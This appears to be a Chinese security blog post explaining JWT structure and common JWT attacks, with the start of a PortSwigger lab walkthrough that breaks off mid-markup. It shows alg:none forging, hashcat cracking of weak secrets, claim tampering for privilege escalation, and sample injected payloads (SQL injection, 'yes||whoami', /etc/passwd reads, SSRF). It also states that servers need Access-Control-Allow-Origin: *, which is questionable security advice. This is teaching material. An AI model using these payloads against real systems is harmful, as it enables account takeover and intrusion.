{"id":1584,"date":"2026-07-13T17:11:34","date_gmt":"2026-07-13T09:11:34","guid":{"rendered":"http:\/\/charlottezhiend.cn:8080\/?p=1584"},"modified":"2026-07-14T11:23:25","modified_gmt":"2026-07-14T03:23:25","slug":"1-10","status":"publish","type":"post","link":"http:\/\/charlottezhiend.cn:8080\/index.php\/2026\/07\/13\/1-10\/","title":{"rendered":"JWT\u6f0f\u6d1e"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">JWT\u662f\u4ec0\u4e48\uff1f<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">JWT\u5168\u79f0\u662fJSON Web Token\uff0c\u65f6RFC 7519\u5b9a\u4e49\u7684\u4e00\u79cd\u7d27\u51d1\u3001URL\u5b89\u5168\u7684\u58f0\u660e\u4f20\u8f93\u683c\u5f0f\u3002\u5e38\u88ab\u7528\u4e8e\u8eab\u4efd\u8ba4\u8bc1\u3001\u4f1a\u8bdd\u7ba1\u7406\u3001API\u9274\u6743\u548c\u5fae\u670d\u52a1\u4e4b\u95f4\u7684\u8eab\u4efd\u4f20\u9012\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f8b\u5982\u7528\u6237\u767b\u5f55\u6210\u529f\u540e\uff0c\u670d\u52a1\u5668\u53ef\u4ee5\u751f\u6210\u4e00\u679aJWT<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 . eyJzdWIiOiIxMDAxIiwidXNlcm5hbWUiOiJsYWluIiwicm9sZSI6InVzZXIifQ . example_signature<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5ba2\u6237\u7aef\u540e\u7eed\u8bbf\u95ee\u63a5\u53e3\u65f6\u643a\u5e26\u5b83<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/api\/profile HTTP\/1.1 \nHost: example.com \nAuthorization: Bearer eyJhbGciOiJIUzI1NiIs...<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u670d\u52a1\u5668\u9a8c\u8bc1JWT\u7684\u7b7e\u540d\u548c\u76f8\u5173\u58f0\u660e\uff0c\u786e\u8ba4\u4ee4\u724c\u53ef\u4fe1\u540e\uff0c\u518d\u6839\u636e\u5176\u4e2d\u7684\u7528\u6237\u8eab\u4efd\u548c\u6743\u9650\u5904\u7406\u8bf7\u6c42<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u660e\u786e\u4e24\u4e2a\u5bb9\u6613\u6df7\u6dc6\u7684\u6982\u5ff5\uff1aJWT\u65f6\u4ee4\u724c\u683c\u5f0f\uff0c\u4e0d\u662f\u767b\u5f55\u534f\u8bae\uff0c\u4e5f\u4e0d\u662f\u52a0\u5bc6\u7b97\u6cd5<\/strong>#<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">JWT\u7684\u4e09\u6bb5\u7ed3\u6784<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">\u5e38\u89c1\u7684JWT\u5b9e\u9645\u4e0a\u91c7\u7528\u7684\u662fJWS Compact Serializatoin\uff0c\u7531\u4e09\u4e2aBase64URL\u5b57\u7b26\u4e32\u7ec4\u6210<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Header.Payload.Signature<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">JWS\u7528\u6570\u5b57\u7b7e\u540d\u6216\u6d88\u606f\u8ba4\u8bc1\u7801\u4fdd\u62a4\u5185\u5bb9\u7684\u5b8c\u6574\u6027\uff1b\u5982\u679c\u9700\u8981\u5bf9\u5185\u5bb9\u8fdb\u884c\u52a0\u5bc6\uff0c\u5219\u5e94\u4f7f\u7528JWE\u3002JWS\u4e0eJWE\u662f\u4e0d\u540c\u7684\u6807\u51c6<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Header\uff1a\u5934\u90e8<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u5934\u90e8\u8bf4\u660e\u4ee4\u724c\u4f7f\u7528\u7684\u7b97\u6cd5\u53ca\u7c7b\u578b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n   \"alg\": \"HS256\",\n   \"typ\": \"JWT\"\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5e38\u89c1\u5b57\u6bb5<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>alg<\/code>\uff1a\u7b7e\u540d\u7b97\u6cd5\uff0c\u5982 HS256\u3001RS256\u3001ES256<\/li>\n\n\n\n<li><code>typ<\/code>\uff1a\u4ee4\u724c\u7c7b\u578b\uff0c\u901a\u5e38\u4e3a JWT<\/li>\n\n\n\n<li><code>kid<\/code>\uff1a\u5bc6\u94a5\u7f16\u53f7\uff0c\u670d\u52a1\u5668\u7528\u5b83\u9009\u62e9\u9a8c\u8bc1\u5bc6\u94a5<\/li>\n\n\n\n<li><code>jwk<\/code>\uff1a\u76f4\u63a5\u643a\u5e26 JSON Web Key<\/li>\n\n\n\n<li><code>jku<\/code>\uff1aJWK Set \u7684\u5730\u5740<\/li>\n\n\n\n<li><code>x5u<\/code>\uff1aX.509 \u8bc1\u4e66\u94fe\u5730\u5740<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u5176\u4e2d\uff0cJWK\u662f\u4f7f\u7528JSON\u8868\u793a\u5bc6\u7801\u5b66\u5bc6\u94a5\u7684\u6807\u51c6\u683c\u5f0f\uff0c\u591a\u4e2aJWK\u53ef\u4ee5\u7ec4\u6210JWK Set<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Payload\uff1a\u8f7d\u8377<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Payload\u4fdd\u5b58JWT\u7684\u58f0\u660e\uff0c\u5373Claims<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{ \n \"iss\": \"https:\/\/auth.example.com\",\n \"sub\": \"1001\",\n \"aud\": \"order-api\",\n \"username\": \"lain\",\n \"role\": \"user\",\n \"iat\": 1783910400,\n \"exp\": 1783911300,\n \"jti\": \"0c33c7da\" \n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5e38\u89c1\u7684\u58f0\u660e\u6807\u51c6<\/p>\n\n\n\n<div class=\"wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex\">\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><th>\u58f0\u660e<\/th><th>\u542b\u4e49<\/th><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><code>iss<\/code><\/td><td>Issuer\uff0c\u7b7e\u53d1\u8005<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><code>sub<\/code><\/td><td>Subject\uff0c\u4ee4\u724c\u4ee3\u8868\u7684\u4e3b\u4f53<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><code>aud<\/code><\/td><td>Audience\uff0c\u4ee4\u724c\u9884\u671f\u63a5\u6536\u65b9<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><code>exp<\/code><\/td><td>Expiration Time\uff0c\u8fc7\u671f\u65f6\u95f4<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><code>nbf<\/code><\/td><td>Not Before\uff0c\u5728\u8be5\u65f6\u95f4\u4e4b\u524d\u4e0d\u53ef\u4f7f\u7528<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><code>iat<\/code><\/td><td>Issued At\uff0c\u7b7e\u53d1\u65f6\u95f4<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><code>jti<\/code><\/td><td>JWT ID\uff0c\u4ee4\u724c\u552f\u4e00\u7f16\u53f7<\/td><\/tr><\/tbody><\/table><\/figure>\n<\/div>\n\n\n\n<h2 class=\"wp-block-heading\">Signature\uff1a\u7b7e\u540d<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b7e\u540d\u8f93\u5165\u901a\u5e38\u662f\uff1aBase64URL(Header) + &#8220;.&#8221; + Base64URL(Payload)\uff0c<strong>\u800cSignature = HMAC-SHA256(\u7b7e\u540d\u8f93\u5165, Secret)\u3002\u8fd9\u91cc\u4e5f\u6070\u597d\u8bf4\u660e\u4e86\u4e00\u70b9\uff0cJWT\u662f\u5426\u53ef\u4fe1\u4f9d\u9760\u7684\u662f\u7b97\u6cd5\u5bf9\u5e94\u4f7f\u7528\u7684\u5bc6\u94a5\uff0c\u90a3\u4e48\u6b63\u5e38\u60c5\u51b5\u4f2a\u9020JWT\u7b2c\u4e00\u6b65\u5c31\u662f\u83b7\u53d6\u5bf9\u5e94\u7684\u5bc6\u94a5\u3002<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Payload = \u8eab\u4efd\u8bc1\u4e0a\u7684\u6587\u5b57<br>Signature = \u9632\u4f2a\u5370\u7ae0<br>Secret \/ \u79c1\u94a5 = \u5236\u4f5c\u9632\u4f2a\u5370\u7ae0\u7684\u6838\u5fc3\u5bc6\u94a5<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4ee5HS256\u4e3a\u4f8b\uff1aHMAC-SHA256( Base64URL(Header) + &#8220;.&#8221; + Base64URL(Payload), secret )<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6700\u7ec8JWT\u4e3aBase64URL(Header) + &#8220;.&#8221; + Base64URL(Payload) + &#8220;.&#8221; + Base64URL(Signature)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b7e\u540d\u7684\u4f5c\u7528\u662f\uff1a<br>1.\u68c0\u6d4bHeader\u6216Payload\u662f\u5426\u88ab\u4fee\u6539<br>2.\u8bc1\u660e\u4ee4\u724c\u7531\u638c\u63e1\u5bc6\u94a5\u7684\u4e00\u65b9\u7b7e\u53d1<br>3.\u9632\u6b62\u653b\u51fb\u8005\u76f4\u63a5\u4f2a\u9020\u8eab\u4efd\u548c\u6743\u9650\u58f0\u660e<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Base64URL<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">JWT\u4e2d\u7684Header\u548cPayload\u901a\u5e38\u53ea\u662fBase64URL\u7f16\u7801<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Base64URL\u4e0e\u666e\u901aBase64\u7684\u4e3b\u8981\u533a\u522b\u662f\uff1a+ \u66ff\u6362\u4e3a &#8211; \uff1b\/ \u66ff\u6362\u4e3a _\uff1b \u901a\u5e38\u7701\u7565\u672b\u5c3e\u7684 =<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u56e0\u6b64\u4efb\u4f55\u83b7\u5f97JWT\u7684\u4eba\u90fd\u53ef\u4ee5\u89e3\u7801Payload\uff0c\u6240\u4ee5JWT Payload\u4e2d\u4e0d\u5e94\u8be5\u5b58\u653e\uff1a\u7528\u6237\u5bc6\u7801\u3001\u79c1\u94a5\u6216API\u5bc6\u94a5\u7b49\u654f\u611f\u4fe1\u606f\u3002\u81f3\u4e8e\u7b7e\u540d\uff0c<strong>\u7b7e\u540d\u53ea\u4fdd\u62a4\u4e86\u5b8c\u6574\u6027\uff0c\u4e0d\u63d0\u4f9b\u4fdd\u5bc6\u6027<\/strong>\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">JWT\u5de5\u4f5c\u6d41\u7a0b<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">\u7528\u6237\u643a\u5e26\u7528\u6237\u540d\u548c\u5bc6\u7801\u8bf7\u6c42\u8bbf\u95ee\uff1b<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u670d\u52a1\u5668\u6821\u9a8c\u7528\u6237\u51ed\u636e\uff1b<\/li>\n\n\n\n<li>\u5e94\u7528\u63d0\u4f9b\u4e00\u4e2a token \u7ed9\u5ba2\u6237\u7aef\uff1b<\/li>\n\n\n\n<li>\u5ba2\u6237\u7aef\u5b58\u50a8 token\uff0c\u5e76\u4e14\u5728\u968f\u540e\u7684\u6bcf\u4e00\u6b21\u8bf7\u6c42\u4e2d\u90fd\u5e26\u7740\u5b83\uff1b<\/li>\n\n\n\n<li>\u670d\u52a1\u5668\u6821\u9a8c token \u5e76\u8fd4\u56de\u6570\u636e\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u9700\u8981\u6ce8\u610f\u95ee\u9898\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u6bcf\u4e00\u6b21\u8bf7\u6c42\u90fd\u9700\u8981 token\uff1b<\/li>\n\n\n\n<li>Token \u5e94\u8be5\u653e\u5728\u8bf7\u6c42 header \u4e2d\uff1b<\/li>\n\n\n\n<li>\u9700\u8981\u5c06\u670d\u52a1\u5668\u8bbe\u7f6e\u4e3a\u63a5\u53d7\u6765\u81ea\u6240\u6709\u57df\u7684\u8bf7\u6c42\uff0c\u7528 Access-Control-Allow-Origin: *\u3002<\/li>\n<\/ul>\n\n\n\n<h1 class=\"wp-block-heading\">JWT\u653b\u51fb\u624b\u6cd5<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">\u5b8c\u5168\u6ca1\u6709\u9a8c\u8bc1\u7b7e\u540d<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u670d\u52a1\u7aef\u53ea\u662f\u89e3\u7801JWT<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>DecodedJWT jwt = JWT.decode(token); String role = jwt.getClaim(\"role\").asString();<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6ca1\u6709\u8c03\u7528\u771f\u6b63\u7684\u9a8c\u8bc1\u51fd\u6570<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u65f6\u653b\u51fb\u8005\u53ef\u4ee5\u628a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n \"role\": \"user\" \n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u4fee\u6539\u4e3a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n \"role\": \"admin\" \n}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u7b7e\u540d\u4e3a\u7a7a<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">JWT\u7b2c\u4e00\u90e8\u5206\u542b\u6709alg\u5b57\u6bb5\uff0c\u8be5\u5b57\u6bb5\u6307\u5b9a\u751f\u6210\u7b7e\u540d\u91c7\u7528\u54ea\u79cd\u54c8\u5e0c\u7b97\u6cd5\uff0c\u5982\u679c\u67d0\u7ad9\u4f7f\u7528\u7684\u662fHS256\uff0c\u53ef\u5c06\u8be5\u5b57\u6bb5\u7be1\u6539\u4e3anone\uff0c\u67d0\u4e9bJWT\u7684\u5b9e\u73b0\uff0c\u4e00\u65e6\u53d1\u73b0alg\u4e3anone\uff0c\u5c06\u4e0d\u518d\u751f\u6210\u54c8\u5e0c\u7b7e\u540d\uff0c\u81ea\u7136\u4e0d\u5b58\u5728\u6821\u9a8c\u7b7e\u540d\u4e00\u8bf4\uff0c\u76f4\u63a5\u5c06payload\u91cc\u7684username\u6539\u4e3aadmin\u5373\u53ef\u7be1\u6539\u7528\u6237\u4fe1\u606f<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/07\/image-1024x537.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"537\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/07\/image-1024x537.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1590\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5c06\u5934\u90e8alg\u7684\u503c\u4fee\u6539\u4e3anone\uff0c\u63a5\u7740\u4fee\u6539payload\u5185\u5bb9\u7f16\u7801\u590d\u5236\u524d\u4e24\u90e8\u5206\u5373\u53ef\uff0c\u6700\u540e\u4e00\u90e8\u5206\u56e0\u4e3aalg\uff1anone\u6240\u4ee5\u4e0d\u5b58\u5728<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/07\/image-1-1024x603.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"603\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/07\/image-1-1024x603.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1591\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u7206\u7834\u5f31\u5bc6\u94a5<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u5c06JWT\u5185\u5bb9\u4fdd\u5b58\u81f3jwt.txt\u6587\u6863\u5185<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7528kali\u81ea\u5e26\u7684\u5b57\u5178\u6216\u8005\u5b57\u5178\uff1a<a href=\"https:\/\/github.com\/wallarm\/jwt-secrets\/blob\/master\/jwt.secrets.list\">https:\/\/github.com\/wallarm\/jwt-secrets\/blob\/master\/jwt.secrets.list<\/a>\u8fdb\u884c\u7206\u7834<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>hashcat -a 0 -m 16500 jwt.txt \/usr\/share\/wordlists\/rockyou.txt\nhashcat -a 0 -m 16500 jwt\u6570\u636e\u6587\u4ef6 \u7206\u7834jwt\u7684\u5b57\u5178<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u7206\u7834\u51fa\u5bc6\u94a5\u4e4b\u540e\u5373\u53ef\u4fee\u6539JWT\u8fdb\u884c\u8d8a\u6743\u7b49<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u672a\u9a8c\u8bc1\u7b7e\u540d\u5bfc\u81f4\u8d8a\u6743<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/07\/image-2-1024x477.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"477\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/07\/image-2-1024x477.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1592\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u76f4\u63a5\u4fee\u6539userid\u7f16\u7801\u5373\u53ef<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/07\/image-3-1024x660.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"660\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/07\/image-3-1024x660.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1593\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">JWT\u5e38\u89c1\u6f0f\u6d1e\u5229\u7528<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">\u901a\u8fc7\u7206\u7834\u51fakey\u4ee5\u540e\uff0c\u53ef\u4ee5\u5229\u7528JWT\u8fdb\u884c\u6f0f\u6d1e\u6d4b\u8bd5<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u6c34\u5e73\u8d8a\u6743<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u628a1234567890\u6539\u4e3a1234567891<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n\"sub\": \"1234567890\",\n\"name\": \"0xShe\",\n\"sysadmin\": \"N\",\n\"iat\": 1690989833\n}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u5782\u76f4\u8d8a\u6743<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u628asysadmin\u7684\u503cN\u6539\u4e3aY\uff08NO\u6539\u4e3aYES\u6216\u8005false\u6539\u4e3atrue\uff09<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n\"sub\": \"1234567890\",\n\"name\": \"0xShe\",\n\"sysadmin\": \"Y\",\n\"iat\": 1690989833\n}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">SQL\u6ce8\u5165<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n\"sub\": \"1234567890\",\n\"name\": \"0xShe\",\n\"data\": \"1' UNION SELECT 'key';-- \",\n\"iat\": 1690989833\n}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u547d\u4ee4\u6267\u884c<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n\"sub\": \"1234567890\",\n\"name\": \"0xShe\",\n\"echo\": \"yes||whoami\",\n\"iat\": 1690989833\n}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u6587\u4ef6\u8bfb\u53d6<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n\"sub\": \"1234567890\",\n\"name\": \"0xShe\",\n\"path\": \"\/etc\/passwd\",\n\"iat\": 1690989833\n}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">SSRF<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n\"url\": \"http:\/\/www.DNSlog.cn\/\",\n\"iat\": 1690989833\n}<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">\u9776\u573a\u5b9e\u6218<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\"><br>\u672a\u7ecf\u9a8c\u8bc1\u7684\u7b7e\u540d\u7ed5\u8fc7JWT\u8eab\u4efd\u9a8c\u8bc1<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/portswigger.net\/web-security\/jwt\/lab-jwt-authentication-bypass-via-unverified-signature\">https:\/\/portswigger.net\/web-security\/jwt\/lab-jwt-authentication-bypass-via-unverified-signature<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fdb\u5165\u9776\u573a\u70b9\u51fb\u767b\u5f55<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/07\/image-4-1024x683.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"683\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/07\/image-4-1024x683.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1596\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u666e\u901a\u8d26\u53f7\/\u5bc6\u7801\uff1awiener\/peter<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/07\/image-5-1024x319.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"319\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/07\/image-5-1024x319.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1598\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u767b\u5f55\u540e\u7528BP\u6293\u5305\u770b\u770b\uff0c\u5f88\u660e\u663e\u7684\u4e09\u6bb5JWT<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/07\/image-6-1024x288.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"288\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/07\/image-6-1024x288.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" 